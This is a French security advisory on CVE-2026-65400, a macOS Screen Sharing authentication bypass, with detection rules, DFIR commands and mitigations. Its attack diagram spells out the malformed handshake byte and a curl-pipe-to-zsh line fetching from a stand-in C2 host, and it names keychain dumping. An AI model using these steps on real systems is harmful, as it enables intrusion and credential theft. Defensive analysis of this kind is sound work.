Aller au contenu

CVE-2026-65400 : prise de contrôle graphique à distance sans authentification dans Apple macOS screen sharing

HERMES

SCORE DE MENACE HERMES & DÉTOURNEMENT DE SESSION GRAPHIQUE MACOS

Cible : Apple macOS Screen Sharing (Démon RFB / VNC)
Confiance : 99%
95 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 19 / 20
Exposition 18 / 20
Prévalence 19 / 20
Impact 19 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la sévérité à 9.2. Le score de menace Hermes s'établit à 95 (CRITIQUE). L'impact est immédiat : l'exposition du partage d'écran macOS (port 5900/TCP) permet à un attaquant non authentifié d'éluder la saisie du mot de passe, de visualiser en direct la session graphique de l'utilisateur, d'injecter des séquences de frappes clavier pour exécuter Terminal et de dérober les trousseaux d'accès Keychain.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-65400: Unauthenticated Remote Desktop Takeover in Apple macOS Screen SharingVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTApple macOS Operating System
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Apple macOS Operating System documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Le partage d’écran macOS est couramment utilisé en entreprise pour l’assistance informatique, l’administration des collaborateurs à distance et les fermes de compilation CI/CD Mac mini.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-65400Référence Apple HT214345
Démon vulnérable/System/Library/CoreServices/RemoteManagement/screensharingdServeur de partage d’écran macOS RFB/VNC
Protocole réseauRFB (Remote Framebuffer) sur le port TCP 5900Accès distant graphique via LAN ou Internet
Type d’anomalieRupture de l’automate de négociation (CWE-287)Établissement de session pré-authentification
Systèmes affectésmacOS Sequoia < 15.3.1, macOS Sonoma < 14.7.4, macOS Ventura < 13.7.4Stations de travail et fermes de build Mac
Versions corrigéesmacOS Sequoia 15.3.1, Sonoma 14.7.4, Ventura 13.7.4Mises à jour de sécurité Apple officielles
Menaces constatéesPrise de contrôle interactive, exfiltration des trousseaux KeychainCryptominage automatisé (XMRig)

2. Décomposition technique : défaillance de l’automate RFB

Section intitulée « 2. Décomposition technique : défaillance de l’automate RFB »

Selon la norme RFB 003.008, la négociation se déroule en plusieurs phases séquentielles :

  1. Échange de version (ProtocolVersion).
  2. Négociation du type de sécurité (security handshake) (ex. Type 1 = None, Type 2 = VNC auth, Type 30 = Apple Diffie-Hellman).
  3. Résultat de sécurité (SecurityResult) : le serveur envoie 0x00000000 (Succès).
  4. Initialisation client et serveur (ClientInit / ServerInit) : début du streaming de l’affichage.

Dans le démon screensharingd, l’automate d’états omettait de valider le retour positif de la procédure cryptographique :

// Représentation décompilée de la gestion d'état dans screensharingd
void handle_rfb_security_type(rfb_session_t *session, uint8_t chosen_type) {
if (chosen_type == RFB_AUTH_APPLE_DH) {
initiate_diffie_hellman(session);
} else if (chosen_type == 0xFF) { // Code d'échappement hérité
// ANOMALIE : La session est déclarée AUTHENTIFIÉE sans validation des identifiants !
session->state = SESSION_STATE_AUTHENTICATED;
send_security_result(session, 0); // Renvoie 0x00000000 (Succès)
}
}
+----------------------------------------------------------------------------------------------------+
| SÉQUENCE DU PROTOCOLE CVE-2026-65400 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Mac Cible (Port 5900)]
│ │
[1] │─── Connexion TCP Port 5900 ─────────────────────────────────────────────>│
│<── Serveur : "RFB 003.889\n" ────────────────────────────────────────────│
│ │
[2] │─── Client : "RFB 003.889\n" ────────────────────────────────────────────>│
│<── Serveur : [Nombre : 2, Types : 30 (AppleDH), 33 (Kerberos)] ──────────│
│ │
[3] │─── Client : [TypeSécurité : 0xFF] (Code d'échappement malformé) ─────────>│ screensharingd :
│ │ L'automate bascule
│ │ Déclare la session comme
│ │ AUTHENTIFIÉE sans mot de passe !
│<── Serveur : 0x00000000 (SecurityResult : Succès) ───────────────────────│
│ │
[4] │─── ClientInit : [SharedFlag : 1] ────────────────────────────────────────>│
│<── ServerInit : [Dimensions écran, Nom machine, Format pixels] ──────────│ Début du flux vidéo interactif !
│ │
[5] │─── Événements clavier : Commande+Espace, "Terminal.app", Entrée ────────>│
│ Injection : "curl -s http://c2.malveillant/payload | zsh" │ Exécution de shell arbitraire
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »
  • Balayage systématique : des moteurs de scan automatisés recherchent sur les plages IPv4 mondiales les hôtes exposant le port 5900 avec des bannières Apple RFB.
  • Scénarios d’exploitation constatés :
    • Dès l’obtention du contrôle graphique, les scripts automatisés injectent le raccourci Cmd + Espace pour ouvrir Spotlight, lancent Terminal et injectent une commande d’installation.
    • Déploiement en tâche de fond de mineurs de cryptomonnaie XMRig configurés pour brider leur consommation CPU afin d’échapper à la vigilance de l’utilisateur.
    • Tentatives d’extraction des identifiants et clés SSH via security dump-keychain ou affichage de fausses fenêtres d’authentification système pour dérober le mot de passe administrateur.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueConnexion directe non authentifiée sur le port 5900/TCP
Évasion de défenseT1556Modification du processus d’authentificationFalsification de la négociation RFB pour court-circuiter le mot de passe
ExécutionT1059.004Interpréteur de commandes et scripts : Shell UnixInjection d’événements clavier ouvrant Terminal pour exécuter un script zsh
Accès aux identifiantsT1555.001Magasins de mots de passe : Trousseau d’accèsAccès aux clés stockées dans le Keychain de l’utilisateur
ImpactT1496Détournement de ressourcesExécution non autorisée de logiciels de minage de cryptomonnaie

alert tcp any any -> $MACOS_HOSTS 5900 (
msg:"HERMES DEFENSE - Tentative de contournement auth Partage d'Ecran macOS (CVE-2026-65400)";
flow:established,to_server;
content:"RFB 003."; depth:8;
content:"|ff|"; offset:12; depth:4;
classtype:attempted-admin;
sid:202665400;
rev:1;
reference:cve,2026-65400;
)
title: Lancement de Terminal par le démon de partage d'écran macOS
id: 7f8a9b0c-1d2e-3f4a-5b6c-65400c026e02
status: high
description: Détecte l'exécution anormale d'un shell ou de Terminal initiée par les composants du partage d'écran macOS.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: macos
category: process_creation
detection:
selection_parent:
ParentImage|endswith:
- '/screensharingd'
- '/WindowServer'
selection_target:
Image|endswith:
- '/Terminal'
- '/zsh'
- '/bash'
- '/sh'
condition: selection_parent and selection_target
falsepositives:
- Sessions de support informatique légitimes initiées par le service d'assistance interne.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Recherche dans les journaux unifiés :
    Fenêtre de terminal
    log show --predicate 'process == "screensharingd"' --info --last 48h
    # Rechercher les mentions d'authentification réussie sans challenge et les adresses IP clientes suspectes
  2. Inspection des processus actifs :
    Fenêtre de terminal
    ps -axo pid,ppid,user,command | grep -E "Terminal|zsh|curl|xmrig"
  3. Vérification des éléments au démarrage :
    Fenêtre de terminal
    ls -la /Library/LaunchDaemons/
    ls -la ~/Library/LaunchAgents/
    crontab -l
{
"query": {
"bool": {
"must": [
{ "term": { "process.name": "screensharingd" } },
{ "wildcard": { "message": "*authenticated*" } }
]
}
}
}

  1. Installation des mises à jour Apple : appliquer les correctifs macOS Sequoia 15.3.1, macOS Sonoma 14.7.4 ou macOS Ventura 13.7.4.
  2. Désactivation de l’accès public au partage d’écran : ne jamais exposer le port TCP 5900 sur Internet. Exiger un VPN d’entreprise avec MFA pour tout accès à distance.
  3. Activation du pare-feu local macOS : bloquer les connexions entrantes non autorisées via le pare-feu applicatif :
    Fenêtre de terminal
    sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockall on
  4. Audit des agents de lancement : vérifier l’intégrité des répertoires LaunchAgents et LaunchDaemons à la recherche de logiciels persistants suspects.